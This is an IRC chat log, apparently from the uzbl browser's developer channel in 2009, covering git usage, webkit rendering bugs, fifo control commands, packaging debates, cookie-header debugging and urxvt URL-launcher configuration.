03:32 < piroko> uranther: Right, and those are his branches. Unless he deletes them, you will get them with his repo
03:32 < seppo0010> @sscj and I run it manually and it works (just write some characters on a file)
03:32 < uranther> i see
03:32 < uranther> piroko, i was just confused, cuz i saw other people only had one branch
03:32 < sscj> seppo0010: ohwait, they are called load_start_handler :V
03:32 < uranther> while i have them all
03:33 < piroko> uranther: Yeah, I only have one. What does git remote show origin say?
03:33 < seppo0010> @sscj :P
03:33 < uranther> piroko,  http://uranther.pastebin.com/d3e5a4164
03:34 < piroko> uranther: Ok, and what did you call dieter's remote?
03:34 < seppo0010> awesome!
03:34 < uranther> "Dieterbe"
03:34 < piroko> uranther: do git remote show Dieterbe
03:35  * uranther sick GoldenEye remix
03:35 < uranther> http://uranther.pastebin.com/d73bb133a
03:36 < piroko> uranther: So those are the branches you don't want? I have those branches on my remote as well
03:36 < piroko> uranther: People are probably running git branch, and not git branch -r or -a
03:36 < piroko> git branch lists all local branches, git branch -r lists all remote branches, and -a lists both
03:37 < uranther> piroko, well i saw that on github
03:37 < uranther> not some console output
03:37 < piroko> uranther: I hate github. Haha. It tries to abstract everything and it typically results in confusion
03:37 < uranther> believe me
03:37 < uranther> i'm confused
03:37 < uranther> :P
03:38 < uranther> not having experience with a SCM before has given me serious issues lately
03:38 < sscj> one of my commits has the message OH GOD I DON'T KNOW WHAT I AM DOING
03:38 < piroko> uranther: Well git is definitely the _BEST_ SCM you could learn
03:38 < piroko> LOL
03:38 < piroko> That's awesome
03:38 < uranther> sscj, yeah i think i saw that lol
03:38 < uranther> piroko, so i hear
03:38 < piroko> I use it at work, makes development fun
03:39 < uranther> like an adventure game
03:39 < uranther> if cross this bridge
03:39 < piroko> At first yes :)
03:39 < uranther> i may or may not get eaten by an alligator
03:41 < uranther> sscj, oh yeah, maybe you can explain this "dump" business for all the commands
03:41 < uranther> i saw that and was confused
03:41 < sscj> what dump business?
03:42 < uranther> http://github.com/scj/uzbl/commit/afce27422a221c718958a06a1e7f804f0a59003d
03:42 < uranther> oh i can make a little "comment"
03:43 < uranther> how cute
03:43 < sscj> oh, those aren't mine
03:43 < uranther> oh
03:43 < sscj> I just did something weird with git to make them look like mine
03:43 < sscj> hence the message
03:44 < uranther> lol
03:44 < sscj> I was trying to merge it from dieterbe
03:44 < uranther> yeah i think i fucked that up too
03:44 < uranther> i didn't spy the trixy "dump" and "1"s
03:44 < uranther> at first
03:44 < sscj> I'm pretty sure it's robm's
03:46 < sscj> anyways, I'm out. laters
03:47 < uranther> http://github.com/robm/uzbl/commit/1c0197ef6ea14e57854a6dcd3de0bc331fb6e470 http://github.com/robm/uzbl/commit/6dcbd38b46b3d43af443f297348f406250fe9fce
03:47 < uranther> word.. peace
03:50 < seppo0010> @sscj when I open a youtube page, mplayer popups displaying the video... thank you very much!
03:55 < seppo0010> c u
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04:00 < uranther> that's pretty sweet..
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04:15 < piroko> Is there a built-in way to open a link in a new window?
04:22 < Morasique> i don't think so, you would just use spawn to open a new uzbl instance
04:26 < Morasique> oh, sorry, link. i read that as opening an arbitrary url like with 'o'. if you right-click it there's an "open in new window" option
04:28 < uranther> ooh.. yeah you could do that with some simple javascript
04:31 < Morasique> it'd be nice to have it as part of the hit-a-hint functionality, like vimperator does with ;t
04:34 < piroko> Yeah
04:35 < Morasique> i suppose it'd be pretty trivial to have a version of follow_Numbers.js that opens in a new window. i never really thought about it before
04:36 < piroko> It'd be nice to have another status indicator immediately after entering a URL or a command that opens a URL that would show that the command was taken
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04:37 < Deepspawn> Marosique not it's not trivial :) In fact atm it's impossible
04:37 < piroko> Right now it can take a little while to (I'm assuming to do the DNS lookup) show the initial "*" progress character
04:38 < Morasique> is there no way to open a new window through javascript? i thought there was, i just can't remember the exact function atm
04:40 < piroko> window.open('url to open','window name','attribute1,attribute2')
04:41 < piroko> http://www.pageresource.com/jscript/jwinopen.htm
04:42 < Morasique> so does that not work?
04:42 < piroko> I'm sure it would. I just have to figure out how to do it
04:43 < Morasique> well, Deepspawn seemed pessimistic, this has probably come up before
04:43 < piroko> Right now I'm looking into launching uzbl with a URL from xmonad
04:43 < Deepspawn> Morasique I'm not pesimistic, already tried doing it
04:44 < Deepspawn> It requires an non-existen api from webkit to do it
04:44 < Deepspawn> webkit-gtk that is
04:45 < Morasique> ah
04:46 < Morasique> ooo. i like the follow_Numbers_Strings, i just noticed it
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05:30 < piroko> uzbl rocks
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05:44 < piroko> Well I fixed my issue with not knowing if uzbl is doing anything
05:44 < piroko> I basically set uzbl.gui.sbar.progress = 0 in the load_start_cb function, so my progressbar goes empty as soon as it starts loading a page
05:46 < piroko> Does this seem like a logical change to include in the main tree? Or am I alone in the desire for feedback on a URL-loading command?
05:46 < uranther> meh - it's up to Dieterbe i guess
05:47 < piroko> Is he on here much or should I fire an email?
05:48 < uranther> actually, i'm surprised i haven't seen him online tonight
05:49 < uranther> altho an email wouldn't hurt
05:49 < Morasique> he said something about going to sleep ~7 hours ago
05:49 < uranther> pfft sleep :P
05:50 < piroko> agreed
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06:48 < piroko> Well in any case, if anyone wants my little change to the status indicator, it's on my public repo here: git://github.com/neutralinsomniac/uzbl.git  The change is on both experimental and the tp/begin_load_notification branches
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07:03 < scp1> One word: amazing.
07:04 < Morasique> i choose to believe he's talking about me
07:04 < scp1> :D
07:20 < piroko> Is anyone able to correctly render slashdot?
07:23 < scp1> for some reason uzbl --uri "en.wikipedia.org/wiki/$STRING" --config /home/scp1/.uzblrc doesn't work... hm.
07:27 < Morasique> piroko: slashdot seems right to me; what's wrong on your render?
07:28 < scp1> For some reason, uzbl doesn't load the config I just copied from the examples/configs dir :s
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07:30 < piroko> Morasique: It doesn't look like it's using the css file or something. Did you compile the latest webkit?
07:31 < Morasique> no, i have 1.1.7. are you on .8?
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07:32 < piroko> Hmm... dpkg reports back 1.0-2 as the version, but that could be wrong
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07:35 < Morasique> piroko: pkg-config --modversion webkit-1.0
07:35 < piroko> 1.1.8
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07:35 < KlavKalashj> hi guys
07:35 < Morasique> i'll try updating and see if it fails
07:35 < Morasique> hello
07:36 < KlavKalashj> I just found uzbl, and it seems like really slick project
07:36 < KlavKalashj> I like it :)
07:36 < KlavKalashj> I just don't get the hint following thing right now.... 'F' shows all hints, but how do I follow them? :P
07:36 < scp1> You just found... I forced you to find it
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07:36 < KlavKalashj> scp1: lol, hi :P
07:36 < scp1> :P
07:37 < Morasique> KlavKalashj: fl is the normal stable number hints, fL lets you type a string like vimperator but it's not finished
07:37 < KlavKalashj> Morasique: ah, thanks man, that works
07:38 < piroko> And F is kind of pointless with fl, eh?
07:38 < scp1> I'm trying to communicate via the fifo file, but I dont really understand how, I thought that something like echo 'url google.com' >> fifo would do...?
07:38 < KlavKalashj> yeah
07:38 < Morasique> scp1: yeah, but it's "act uri", not "url"
07:38 < scp1> lol, ofc
07:39 < scp1> amazing, thanks
07:39 < KlavKalashj> man, this thing is fast!
07:40 < Morasique> i know, that alone makes it awesome
07:40 < scp1> What I love the most is the fifo-thingy though
07:41 < Morasique> yeah, act script lets you do just about anything
07:42 < scp1> Morasique: Do you know about ii? Another amazing piece of software
07:43 < Morasique> the irc client?
07:43 < scp1> yeah
07:44 < Morasique> it looks interesting. i use irssi at the moment, but i might mess with that
07:44 < scp1> it real fun :)
07:45 < scp1> That way I can use vim for writing and tail/multitail/whatever for reading
07:45 < scp1> Well, gonna write some bookmarkshandler, ttyl
07:56 < KlavKalashj> Is there any way to use tabs?
07:59 < KlavKalashj> Ah, I see it is on the TODO list
08:01 < KlavKalashj> Well, I'll better get going to school
08:01 < KlavKalashj> cya all
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08:02 < scp1> since the fifo file doesnt have a permanent name, how could I echo things to it without knowing the whole string?
08:10 < Morasique> normally the fifo gets written to by scripts called from within uzbl, and the scripts get passed the fifo filename automatically
08:11 < scp1> Hm.
08:12 < Morasique> otherwise you don't know which window you're referring to. if you've only got one open or you want to do something to all of them you can just use /tmp/uzbl_fifo_* i guess
08:12 < scp1> That's what I thought to, but that didn't work
08:12 < scp1> it actually created a file called uzbl_fifo_*
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08:14 < Morasique> er. where are you running it?
08:14 < Morasique> your shell isn't globbing correctly
08:14 < scp1> zsh, but globbing use to work
08:15 < Morasique> i think there's a opt for disabling it but i don't know it. that's odd
08:16 < scp1> hm
08:16 < Morasique> i just noticed this in the sample insert_bookmark script: echo "$entry" >/dev/null #for some reason we need this.. don't ask me why
08:16 < Morasique> that's never a good sign :)
08:17 < scp1> hehe
08:17 < scp1> You're one of the devs?
08:17 < Morasique> no
08:17 < scp1> Ok, you're just random cool guy then
08:17 < Morasique> i actually don't even use uzbl regularly, i mean to switch sometime soon but haven't gotten around to it
08:18 < scp1> I see
08:18 < scp1> :q
08:18 < scp1> oops
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09:09 < Dieterbe> morning dudes
09:10 < scp1> \o
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09:11 < Morasique> you were sorely missed
09:11 < Morasique> http://pastebin.com/mf9c0fba
09:16 < Dieterbe> hmm i don't really understand what they want. isn't the current progress indicator good enough?
09:18 < Morasique> i think they just changed it so it zeroes out the indicator before doing anything else. i imagine if uzbl can't connect to the website it probably doesn't update the status at all, so it stays at 100% from the previous operation
09:18 < Morasique> i'm just guessing though
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09:25 < Dieterbe> piroko: yeah i indeed have to many branches that will show up as remotes/dieter/*, i tried to get rid of them but failed :P
09:25 < Dieterbe> so because of that everyone who forks them has like 3 or 4 useless branches :P
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09:27 < Dieterbe> Morasique: ah, that might be it
09:27 < Dieterbe> @peak
09:27 < dev_null> Dieterbe: _19LIONZ set a record of 78 people in #uzbl on June 03, 2009 at 02:47 PM CET. You'll need 10 more people to break the peak.
09:28 < Morasique> 10 more? curses
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10:02 < Frots> hi there
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10:05 < Dieterbe> hi Frots 
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11:25 < KlavKalashj> hm
11:25 < KlavKalashj> uzbl is not showing some pages correctly when not in fullscreen
11:26 < Dieterbe> that's.. weird
11:26 < Dieterbe> i read somewhere there is a new bug in webkit causing breakage on (among others) slashdot
11:27 < KlavKalashj> I use awesome. Since there is no tab support atm I have two instances going... when I opened the second and went to www.sweclockers.com, loads of stuff are missing, and some ad's are blocking a menubar
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11:28 < KlavKalashj> seems to be only that page though
11:31 < KlavKalashj> found workaround :D running both windows in fullscreen and alt+tab is almost as using tabs :)
11:33 < Frots> KlavKalashj: maybee its an awesome issue? what page is it
11:33 < KlavKalashj> www.sweclockers.com
11:33 < KlavKalashj> Frots:
11:33 < Frots> im not in fullscreen
11:34 < Frots> and it renders correct
11:34 < Frots> what should i see?
11:34 < KlavKalashj> Frots: Some pages are in fullscreen, and I can scroll sideways to see it all, and some pages squeeze it's contents together
11:34 < Frots> ah ok
11:34 < Frots> so i should try to make the windows tiny
11:34 < KlavKalashj> I guess different codings in wepages
11:34 < Frots> i see
11:34 < Frots> the website is badly coded :P
11:35 < KlavKalashj> yeah
11:35 < KlavKalashj> But, to use both windows in fullscreen works excellent
11:35 < KlavKalashj> almost like tab support :)
11:35 < Frots> yes
11:35 < Frots> thats what i use
11:35 < Frots> its even better imho
11:35 < Frots> i just need soe instance list or something
11:35 < Frots> some
11:36 < KlavKalashj> but there is one problem
11:36 < KlavKalashj> when using multiple instances, ram usage goes high
11:36 < KlavKalashj> I got 512 mb ram... 2 instances uses 15% each
11:36 < bubaak> i think that this page just detects width of your browser and andjust itself in horizontal manner
11:36 < Frots> bubaak: its just css
11:37 < bubaak> but i have problem with ad covering the menubar as well
11:37 < bubaak> Frots: yeah
11:37 < Frots> but i think all the blocks arent in a container
11:37 < Frots> so the windowborder "pushes" them down
11:37 < bubaak> Frots: what i wanted to say is that it may be correct behaviour for the web page
11:37 < Frots> not tested well enough
11:37 < Frots> yes true
11:37 < Frots> i think they had the usual approach
11:37 < bubaak> yeah
11:38 < Frots> "people have a minimal resolution of .. x .. and they always browse full width, no one uses smaller windows"
11:38 < Frots> ass dev's :p
11:38 < bubaak> KlavKalashj: i don't observe any unusually high memory usage
11:38 < bubaak> Frots: ahh yeah, that's it :)
11:39 < Frots> me neither
11:39 < Frots> yesterday
11:39 < Frots> i had full cpu with ohne instance
11:39 < Frots> (one core that is)
11:39 < KlavKalashj> bubaak: well, perhaps u got more ram than me :P for me, 60mb per session is very much
11:39 < Frots> but i think that was the website too
11:40 < KlavKalashj> especially with such a minimal browser
11:40 < Frots> with me the ram usage is around 3.3 % constant
11:40 < Frots> i have 2 gb
11:40 < Dieterbe> 60 millibits??? that's insanely little
11:40 < bubaak> :)
11:40 < Frots> hehe they dont exist do they
11:41 < Dieterbe> in theory yes, in practice.. haven't seen one yet
11:41 < bubaak> KlavKalashj: and i suppose i depends on the content of the web page
11:41 < KlavKalashj> bubaak: well, I am at archlinux.org forums atm, not very much content there except text :S
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11:45 < bubaak> KlavKalashj: yeah instance with bbs.arch takes 20-30MB for me, i suppose you count every MB with your RAM :)
11:46 < KlavKalashj> bubaak: kind of :)
11:46 < KlavKalashj> It's just that, since it's so minimal, I don't really get what the ram is used for :P
11:47 < Frots> KlavKalashj: i thin kthat are just hte websites
11:47 < Frots> or is it different with other browsers?
11:48 < Frots> any one knows how i can make some kind of percentage/scrollbar thing in the status bar?
11:49 < bubaak> Frots: i'm thinking about that as well but i believe there's no such setting right now
11:49 < Frots> ok
11:50 < Dieterbe> you mean for showing the position on the page?
11:50 < Frots> yes Dieterbe
11:51 < Frots> i remember there was such a thing in the page title
11:51 < Dieterbe> no, that was loading progress
11:51 < Frots> but i dont have window titles
11:51 < Frots> ah ok
11:51 < Dieterbe> page position in % is something that is on the todo list already since the very beginning :P
11:51 < KlavKalashj> Frots: it's kind of the same as firefox
11:51 < bubaak> Dieterbe: :)
11:51 < Dieterbe> i think someone played with it once but i'm not sure
11:51 < KlavKalashj> Frots: that's why I think it's weird :P
11:52 < Frots> ok
11:52 < bubaak> Dieterbe: webkit doesn't tell the position?
11:52 < Frots> KlavKalashj: well i think that its just the pages nowadays that are way to big for internet
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11:52 < Frots> with all the media and stuff
11:52 < bubaak> Dieterbe: or doesn't help with it?
11:53 < Dieterbe> bubaak: i don't know. havent looked into it yet
11:53 < KlavKalashj> I see
11:53 < Dieterbe> this could be an easy thing, or not
11:53 < Frots> ok
11:53 < Frots> it will be useful ofcourse
11:54 < bubaak> ok, i think i'll take a look during the weekend
11:54 < Frots> well i wont whine about it since i lack the skills to help :p
11:54 < Frots> i think it is fantastic what this has become so far in such a short time
11:55 < bubaak> that's right, quite good job
11:56 < KlavKalashj> When did the project start?
11:56 < Frots> one maybe two months?
11:57 < Dieterbe> april 21
11:57 < Frots> if you dont count the discussions :P
12:01 < KlavKalashj> man
12:01 < KlavKalashj> that's really new :P
12:01 < KlavKalashj> I am reading the thread @ archlinux forums atm
12:01 < KlavKalashj> is that sort of... official discussion thread for the project?
12:03 < Dieterbe> not anymore
12:03 < Dieterbe> now we have a ML
12:03 < Frots> ml?
12:04 < bubaak> mailing list maybe?
12:04 < Frots> ah hehe
12:04 < Frots> ofc
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12:13 < KlavKalashj> cool
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12:40 < DuClare> Hmhm
12:40 < DuClare> Going to a convention tomorrow, back on Sunday
12:41 < DuClare> What do I do today?
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12:46 < DuClare> I think we'll have to switch to unicode strings (glib provides them) to make the statusbar stable
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13:20 < mxey> Can I change the fonts uzbl is using?
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13:23 < Zaba_> mxey, on pages, or in statusbar?
13:24 < mxey> Pages.
13:24 < mxey> I would like to avoid fiddling with the mappings in my fontconfig configuration.
13:25 < mxey> Now, why did Debian think it was a good idea to install Bengali fonts?
13:25 < Dieterbe> DuClare: i think you already answered your own question :P
13:26 < Dieterbe> mxey: sure, you can use custom stylesheets
13:27 < DuClare> Perhaps I did.
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14:22 < Dieterbe> JimVanIdols: are you feeling okay?
14:23 < JimVanIdols> yeah having some fun
14:23 < JimVanIdols> ;p
14:23 < haste> can't really say that fun is transported over to us
14:23 < JimVanIdols> yeah its not in this chan hehe
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14:23 < Frots> ok i'llquit it
14:23 < Frots> soz
14:44 < bubaak> i've got uzbl crashing in zimbra, what should i attach to bug report besides backtrace?
14:45 < Dieterbe> bubaak: maybe the output from uzbl --verbose could help, maybe
14:47 < bubaak> Dieterbe: ok
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15:44 < DuClare> Hmhm.  I'm actually leaving tonight
15:44 < DuClare> I guess
15:44 < DuClare> In about 6 hours.
15:44 < DuClare> Oh well, no time to code
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15:55 < Dieterbe> DuClare: ooohh
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16:36 < KlavKalashj> hm
16:36 < KlavKalashj> How do I use the session script?
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18:39 < bobpaul> klavkalashj: it's broken
18:39 < bobpaul> I have a fixed session.sh in my github
18:41 < bobpaul> klavkalashj: http://github.com/bobpaul/uzbl/tree/master/
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18:56 < Dieterbe> evenings
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18:56 < scp1> Hey.
18:59 < uranther> sup
19:03 < uranther> Dieterbe, i made a debian package for uzbl
19:13 < Dieterbe> uranther: hooraaayyy
19:13 < sECuRE_> uranther: where to get it from?
19:15 < uranther> http://github.com/uranther/uzbl/downloads
19:16 < sECuRE_> great. now please upload a source package or build for amd64 aswell :P
19:16 < mxey> A friend of mine worked on an official package for Debian.
19:16 < uranther> haha i dunno how to do a source package yet
19:16 < uranther> took me hours to figure out how to make that thing lol
19:16 < uranther> mxey, progress?
19:16 < mxey> oh dear.
19:17 < mxey> uranther: not sure.
19:17 < uranther> word
19:18 < mxey> Not yet in NEW.
19:18 < sECuRE_> uranther: dpkg-buildpackage -sa, and make sure there is a .orig.tar.gz tarball in the parent folder
19:18 < uranther> what's -sa do?
19:18 < uranther> don't have my VM up
19:19 < sECuRE_>        -sa    Forces the inclusion of the original source.
19:19 < uranther> oh ok
19:19 < mxey> that will happen by default
19:19 < sECuRE_> hm, ok
19:19 < sECuRE_> there is no package on mentors.debian.net either
19:19 < xenol> are there any officialy supported and distributed packages?
19:20 < sECuRE_> mxey: can your friend upload his to mentors? is it properly made (source package)?
19:20 < mxey> xenol: For unreleased software?
19:20 < mxey> I wonder what you guys' problem with make is..
19:20 < xenol> mxey: dev builds?
19:20 < xenol> i dont have problem with make
19:20 < xenol> i am just asking
19:20 < mxey> uzbl is fast moving, there is not much point in creating packages for it
19:21 < uranther> mxey, we use make?.
19:21 < mxey> Then why do you need packages?
19:21 < Zaba_> Would be rather tough if you didn't.
19:21 < uranther> mxey, it was more of a curiosity, and makes it easier for newcomes to try it out
19:21 < Zaba_> No, it makes it easier for the newcomers to get a wrong impression.
19:21 < sECuRE_> because package management rocks? dependencies, uninstallable, changelog, …
19:21 < mxey> Newcomers unable to use make will not be willing to fiddle with a featureless browsers like uzbl.
19:21 < xenol> mxey: let's say i dont want to mess my system
19:22 < Zaba_> xenol, you install in your ~/local
19:22 < mxey> or /usr/local
19:22 < mxey> Especially designed for stuff outside of your package system.
19:22 < uranther> mxey, some people yesterday were having troubles with the git repos and all the dependencies of webkit...
19:22 < sECuRE_> uranther: hm, there’s libwebkit-dev in debian
19:22 < Zaba_> install webkit from package management, then...
19:22 < uranther> sECuRE_, it's not the newest tho
19:22 < mxey> Such people will have trouble with writing shell scripts for uzbl, too.
19:23 < Zaba_> webkit-gtk, the released versions, work fine.
19:24 < Zaba_> And besides, those newcomers that'll want things to work out of the.. tarball might drive developers' attention from the very concept uzbl was developed upon.
19:24 < Zaba_> that'd be a _baaad_ thing.
19:24 < mxey> Arch might have nice support for grabbing sources from a VCS, but in Debian every new or updated packages has to be reviewed by FTP masters.
19:24 < uranther> i'm not really interested in having this in the debian/ubuntu apt repos
19:25 < xenol> and gentoo/slack?
19:25 < uranther> it's there if people want to try it.. but i didn't realize it was such an issue
19:25 < sECuRE_> uranther: even the fact that debian builds for many archs is worth bringing it into official repos
19:26 < mxey> Bring it into repos when there are releases.
19:26 < uranther> as long as i'm not the sole package maintainer ;)
19:26 < sECuRE_> do some releases :P
19:26 < mxey> Calm down.
19:26 < Zaba_> premature releasing? What for? It isn't like there are customers to satisfy early..
19:27 < mxey> Early adopters of uzbl should be able to use make
19:27 < sECuRE_> release early, release often ;)
19:27 < mxey> Or use Gut.
19:27 < mxey> git.
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19:27 < Zaba_> sECuRE_, people often leave out another important thing from that sentence---"and have something to release."
19:27 < sECuRE_> yep ;)
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19:28 < Zaba_> and so far uzbl changes too often to be one stable thing that can be released
19:28 < mxey> ack
19:28  * uranther is not advocating an official release atm :P
19:29 < mxey> Then people would demand changelogs.
19:29  * sECuRE_ stays tuned, then
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21:35 < holizz> http://holizz.com/files/cookies.py
21:38 < Deepspawn> holizz ohhh, it works?
21:41 < holizz> I wouldn't say that.
21:42 < holizz> The script works, just like with a little hacking the cookies.sh script works.
21:42 < holizz> But cookies don't work yet. This is just a 'better' version of cookies.sh. I'm looking through uzbl.c right now trying to work out what the problem is.
21:45 < holizz> I have determined that uzbl isn't sending the 'Cookie' header even when it finds a matching cookie, but I haven't worked out the cause yet.
21:47 < uranther> sounds like a webkit issue
21:52 < bct> heh. i went through the same dance a couple of nights ago
21:53 < holizz> It seems that the header is being set correctly using soup_message_headers_replace, and I can retrieve it with soup_message_headers_get_one, but when it actually makes a request it doesn't get sent.
21:53 < bct> http://github.com/bct/uzbl-config/blob/4e245af9ec25dee2e36b7e3fbeb5978747137e5d/scripts/cookies.rb
21:53 < bct> yup, that's about as far as i got.
21:55 < holizz> I started doing a literal translation of the bash script, but then I realised there was cookielib in the stdlib.
21:57 < bct> i started off trying to extend the bash script
21:57 < bct> but bash is a Bad Language.
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21:58 < holizz> I can't stand the way shells conflate whitespace. It takes so much effort to work around that you may as well use a real language.
21:59 < Dieterbe> hi holizz 
22:00 < bct> i do kind of worry about the inefficiency of spawning an interpreter for every request
22:01 < holizz> Hi Dieterbe.
22:04 < holizz> libsoup includes some cookie-handling functionality, so I wonder if it wouldn't just be easier to use that. I know the idea is to shellout as much as possible, but how much flexibility do we really need for cookies?
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22:07 < holizz> Uhm... http://webkit.org/projects/webkit/index.html
22:08 < entgod> hmm :)
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22:44 < holizz> I'm currently checking out WebKit, in a vein attempt to find some documentation. I imagine my SSD will be full shortly, this thing's huge.
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23:29 < Dieterbe> goodnight all
23:30 < bubaak> goodnight
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23:37 < holizz> http://github.com/holizz/uzbl/commit/128937eb2af1be25ef4cf8ccdb5c9f20d80e01ae
23:37 < holizz> Why yes, javascript: URIs do work now.
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23:46 < holizz> http://github.com/holizz/uzbl/commit/4dd2f8c973748bcc97ff94dff5c5f0136838f8de
23:46 < holizz> Oh look, data: URIs work too.
23:55 < Morasique> are we supposed to post commits in here or does Dieterbe just merge anything that looks good?
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23:59 < holizz> No idea what the recommended procedure is. I was just showing off what I was up to.
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00:13 < KlavKalashj> Is there any news regarding password storage?
00:18 < Morasique> can't the form filler handle it?
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00:20 < KlavKalashj> no idea
00:21 < KlavKalashj> :P
00:26 < KlavKalashj> man, uzbl is really fast
00:27 < KlavKalashj> It loads pages faster than my firefox, and in fx I have both adblock and flashblock O.o
00:28 < Morasique> KlavKalashj: i think adblock analyzes elements on the page, so it probably slows down load time
00:28 < Morasique> i don't use it though, so i'm not sure
00:28 < Morasique> but yeah, uzbl is way faster
00:57 < KlavKalashj> I have a problem :S
00:57 < KlavKalashj> I can't get uzbl to start with another site than my hompage
00:57 < KlavKalashj> uzbl -u www.google.dk
00:57 < KlavKalashj> that opens google.se
00:57 < KlavKalashj> anyone know?
01:08 < KlavKalashj> ah
01:08 < KlavKalashj> Just commented out homepage :)
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01:12 < KlavKalashj> Why I asked is becouse I am fiddling with how to get uzbl to start on correct site when I click link in irssi... but no args I tried work. Someone know? :)
01:17 < Morasique> i thought it was --uri
01:18 < scp1> --uri is equilant to -u
01:19 < Morasique> ah
01:19 < scp1> equal... whatever
01:19 < Morasique> neither is working for me atm
01:19 < scp1> good
01:19 < KlavKalashj> It works for me
01:19 < KlavKalashj> If I comment out homepage
01:19 < Morasique> i wouldn't think you'd need to comment out homepage, that's probably not right
01:20 < KlavKalashj> no, prolly... but it works :P
01:20 < Morasique> yeah, it works for me if i comment out the config line. is there a reason it's like that, or is that a bug?
01:20 < KlavKalashj> I guess bug
01:20 < scp1> maybe not... it actually says '"home" page if you will, set uri
01:21 < scp1> yep, same thing here.
01:23 < Morasique> in settings_init, i think the order should probably be switched; cmdline args should override the config file, not the other way around
01:23 < Morasique> which would fix it
01:24 < KlavKalashj> yeah
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01:31 < scp1> have you noticed -> http://data.fuskbugg.se/skalman01/acid3.png ? :)
01:32 < Morasique> yeah, webkit is pretty well-known for it i think
01:32 < scp1> didn't know that is would actually manage 100/100
01:35 < Morasique> how do i make git revert my changes?
01:35 < Morasique> i tried git revert and git reset, and then tried just deleting the file and git pulling a new one, and now i can't get the file back at all :)
01:35 < Morasique> oh, i think git reset --hard just did it
01:39 < Morasique> so i was totally wrong about how settings_init works, but i moved the g_option_context stuff in main() below the settings_init() call and it seems to be working
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03:04 < bct> aha!
03:04 < bct> http://gist.github.com/124608
03:04 < bct> hopefully that explains the disappearing Cookie header
03:04 < scp1> hm
03:04 < bct> now to track down what gobject's calling
03:06 < uranther> yeah track that gobject, baby
03:07 < bct> i don't have enough beer to be debugging right now :/
03:08 < bct> but if i go get some more some vulture will swoop in and steal my bug-finding glory
03:10 < uranther> a man's dilemma
03:12 < bct> is libgobject part of glib?
03:12 < mxey> Yes.
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03:20 < uranther> i have never seen this "data:" URI scheme used
03:20 < uranther> pretty intense
03:20 < bct> you can do neat stuff with it
03:21 < bct> eg.
03:21 < bct> http://annevankesteren.nl/2006/08-paintr21
03:21 < bct> <canvas> + data:
03:22 < uranther> cool. i like the generated logo
03:26 < bct> well.
03:26 < bct> mystery solved: http://gist.github.com/124620
03:27 < uranther> it's called the soupcookiejar
03:27 < uranther> interesting :P
03:28 < bct> cookies in soup sounds terrible
03:30 < uranther> so this function is intercepting our delicious cookies?
03:30 < bct> sadly :(
03:31 < bct> if webkit doesn't find an existing cookie jar then it adds that one
03:32 < bct> so i guess we could add a dummy cookie jar
03:32 < bct> or soup_session_remove_feature the default one after webkit adds it
03:38 < bct> kind of mean of it to remove our cookie header, it wasn't hurting anybody :(
03:40 < uranther> greedy soup
03:41 < scp1> Have you guys managed to get urxvt/xterm to open url's in nzbl?
03:42 < uranther> echo uri google.com > /tmp/uzbl_fifo_48234536
03:42 < scp1> s/nzbl/uzbl/
03:43 < uranther> unless you downloaded a tree where it's not working
03:43 < scp1> uranther: sure... But when I get url's in irssi etc
03:43 < uranther> oh
03:43 < uranther> well i don't use irssi :/
03:43 < scp1> URxvt*matcher.pattern.1: uzbl -u
03:43 < scp1> or something Z_Z
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03:44 < uranther> yeah, uzbl -u google.com works too
03:44 < scp1> my matcher doesnt though
03:47 < KlavKalashj> launcher?
03:48 < scp1> yes. ugh.
03:49 < Morasique> scp1: i use urxvt.urlLauncher
03:49 < scp1> and the string after?
03:49 < KlavKalashj> Morasique: with what arguments?
03:49 < Morasique> uzbl -u
03:49 < scp1> bah, that does not work
03:49 < Morasique> do you have a homepage set?
03:49 < scp1> no
03:50 < KlavKalashj> uzbl does not start if I use uzbl -u
03:50 < bct> tail -f irc.log | sed s/some regexp// > /tmp/uzbl_fifo_xxx
03:50 < bct> and hope that people post urls irregularly
03:50 < scp1> bct: sure, but how do I know which fifo file?
03:50 < Morasique> KlavKalashj: even from the command-line?
03:51 < scp1> http://google.com
03:51 < scp1> www.google.com
03:51 < KlavKalashj> Morasique: that works
03:51 < scp1> Ah.
03:52 < KlavKalashj> but not in .Xdefaults
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03:52 < uranther> <KlavKalashj> uzbl does not start if I use uzbl -u
03:52 < uranther> ^ why not?
03:52 < scp1> Allright.
03:52 < Morasique> oh, interesting. uzbl doesn't start if i click on the links
03:52 < Morasique> i normally use a hotkey thing, which does work for some reason
03:52 < KlavKalashj> uranther: don't know :P
03:52 < scp1> uzbl does start here - but the url is not loading
03:52 < uranther> works for me :P
03:52 < KlavKalashj> uranther: it's when I use it in .Xdefaults
03:52 < uranther> oh
03:53 < KlavKalashj> urxvt*urlLauncher:        uzbl -u
03:53 < scp1> uranther: give .Xresources please :)
03:53 < uranther> i don't use that stuffs
03:53 < scp1> KlavKalashj: sorry, my regexp is fucked up, it works on www*
03:53 < scp1> "works", that is, uzbl starts but no page is loading.
03:54 < Morasique> how are we all getting totally different behavior? this is odd
03:54 < KlavKalashj> yeah
03:54 < KlavKalashj> I use version from master git
03:55 < scp1> I need a better regexp.
03:55 < uranther> wtf.. no wonder my music cd didn't work
03:55 < Morasique> if i set urlLauncher to uzbl it starts when i click on the link, but if i set it to uzbl -u it doesn't start
03:55 < uranther> the streaming radio i ripped from used OGG
03:55 < Morasique> but it works either way if i use my url launching hotkey
03:55 < uranther> so my car's cd player and my bro's xbox were like wtf is this shit?
03:55 < scp1> Morasique:
03:56 < KlavKalashj> Morasique: we have exactly same behaviour
03:56 < Morasique> well, that's something
03:56 < KlavKalashj> I don't have any super hotkey though:P
03:56 < scp1> URxvt*matcher.pattern.1:  \\bwww\\.[\\w-]+\\.[\\w./?&@#-]*[\\w/-]
03:56 < scp1> URxvt*matcher.launcher.1: /usr/local/bin/uzbl -u $0
03:56 < scp1> that SHOULD work
03:57 < Morasique> oh, adding $0 to mine fixed it
03:57 < Morasique> why is that necessary?
03:57 < scp1> I have no idea, since it should be $1, the first argument, not $0, the source file
03:58 < scp1> can I see your regexp?
03:58 < KlavKalashj> Morasique: works fine here to now
03:58 < scp1> "fine" as in the url is really loading?
03:58 < KlavKalashj> just urllauncher: uzbl -u $0
03:58 < KlavKalashj> yes
03:58 < KlavKalashj> perfect
03:58 < scp1> ugh.
03:59 < Morasique> yeah, mine loads now. i don't have a regexp defined, i just use the default i guess
03:59 < KlavKalashj> same here
03:59 < KlavKalashj> only matcher button and urllauncher
04:00 < scp1> ofc you need regexp's
04:00 < KlavKalashj> for what?
04:00 < KlavKalashj> what is it, anyway? :P
04:00 < scp1> !URxvt*matcher.pattern.2:    \\bhttps?:\/\/[\\w-.]*\/[\\w./?&@#-]*.(jpg|jpeg|png)
04:00 < scp1> !URxvt*matcher.launcher.2:    feh -FZ $0
